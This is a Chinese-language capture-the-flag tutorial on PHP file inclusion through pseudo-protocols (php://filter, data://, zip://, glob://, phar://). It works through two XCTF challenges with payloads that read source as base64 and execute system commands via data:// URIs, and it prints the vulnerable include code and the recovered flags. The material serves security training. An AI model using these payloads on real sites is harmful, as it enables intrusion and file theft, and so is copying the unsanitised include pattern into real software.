
文件包含漏洞——伪协议
filter伪协议
php://filter
是 PHP 中一种特殊的伪协议,是一种元包装器,可在数据流被读取或写入前对其进行筛选过滤。
- 读取数据时过滤:
php://filter/read=过滤器名称/resource=目标资源
。通过指定过滤器,对读取的目标资源数据进行处理。比如想对index.php
文件内容进行 Base64 编码后读取,可写成php://filter/read=convert.base64-encode/resource=index.php
。 - 写入数据时过滤:
php://filter/write=过滤器名称/resource=目标资源
。在向目标资源写入数据时,先经指定过滤器处理。
data伪协议
data
伪协议是一种用于内嵌数据的伪协议,能将数据直接嵌入到 URI(统一资源标识符)中 。
在存在文件包含漏洞的情况下,可利用 data
伪协议执行特定代码。比如构造 ?file=data://text/plain,<?php phpinfo();?>
,当目标网站存在文件包含功能且对输入过滤不严时,可通过该 data
伪协议让服务器执行 phpinfo()
函数,获取 PHP 配置信息 ;也可构造 ?file=data://text/plain,<?php system("ls /");?>
来执行系统命令列出根目录下文件 。
注:当url中出现‘+’需要对它进行url编码
zip伪协议
zip
伪协议是 PHP 中用于处理 ZIP 压缩文件的一种特殊伪协议,它允许开发者在不进行实际解压操作的情况下,直接访问 ZIP 文件中的内容。
基本语法:zip://压缩包名#文件名
glob伪协议
glob
伪协议是 PHP 里用于文件路径模式匹配的一种伪协议。借助该协议,能按特定模式对文件路径进行匹配,进而获取与之匹配的文件列表。
基本语法glob://<模式>
<模式>
:这是用于匹配文件路径的模式,其中可包含通配符。常见通配符有:*
:能匹配任意数量的任意字符。?
:可匹配单个任意字符。[]
:能匹配方括号内指定的任意一个字符,例如[abc]
可匹配a
、b
或者c
。
<?php
// 查找当前目录下所有的 .txt 文件
$files = glob('glob://*.txt');
foreach ($files as $file) { echo $file . PHP_EOL; }
?>
phar伪协议
phar
(PHP Archive)伪协议是 PHP 中用于处理 PHAR(PHP 归档)文件的一种特殊伪协议。PHAR 文件是一种将多个 PHP 文件打包成一个文件的归档格式,类似于 Java 的 JAR 文件,它允许开发者将多个 PHP 文件、资源文件等组合成一个单一的可执行文件,方便分发和部署。
基本格式:phar://<PHAR 文件路径>/<PHAR 包内文件路径>
<?php
// 假设 PHAR 文件名为 example.phar,其中包含一个名为 test.txt 的文件 $fileContent = file_get_contents('phar://example.phar/test.txt');
if ($fileContent !== false)
{ echo $fileContent; }
else { echo "无法读取文件内容。"; }
?>
<?php
// 假设 PHAR 文件名为 scripts.phar,其中包含一个名为 script.php 的文件 include('phar://scripts.phar/script.php');
?>
攻防世界例题

根据页面提示,知道文件路径在/var/www/html/下
f12查看源码
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
需要利用文件包含漏洞,就需要让else语句执行,那么 $lan 的值就要存在,也就是需要在客户端传递cokkie为 $lan 赋值
使用bp抓包,在请求中构造payload
Cookie: language=php://filter/read=convert.base64-encode/resource=flag
此时页面显示
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezQ3ZDRkYmM0OTVjOTU4NzdmNTk4Yjk2NzI0MzM3NmYxfSI7DQo/Pg==
base64解码:
<?php
$flag="cyberpeace{47d4dbc495c95877f598b967243376f1}";
?>
攻防世界例题
查看界面显示的代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);
}
include($page);
?>
此题对php://进行了过滤,所以使用不了filter伪协议,可以尝试使用data伪协议
构造payload
http://61.147.171.105:57935/
?page=data://text/plain,<?php system(ls);?>
页面出现回显
fl4gisisish3r3.php index.php phpinfo.php
flag在应该就在fl4gisisish3r3.php文件中、
使用cat命令查看该文件但是没有回显,可能是普通用户只有ls权限,没有cat权限
使用file_get_contents命令,将读取到的数据直接输出
http://61.147.171.105:57935/
?page=data://text/plain,<?php echo file_get_contents(fl4gisisish3r3.php);?>
页面没有回显
直接使用 echo $a
可能会因为特殊字符被浏览器解析或被安全机制拦截而无回显,而使用 echo htmlspecialchars($a)
会将特殊字符转换为 HTML 实体,从而正常显示内容。
htmlspecialchars
:这是 PHP 内置的一个函数,其功能是把一些预定义的字符转换为 HTML 实体。这样做能够防止用户输入的特殊字符被浏览器当作 HTML 标签或代码来解析,从而避免 XSS(跨站脚本攻击)等安全问题。
重新构造
http://61.147.171.105:57935/
?page=data://text/plain,<?php
echo htmlspecialchars(file_get_contents(fl4gisisish3r3.php));?>
页面成功回显
<?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"; ?>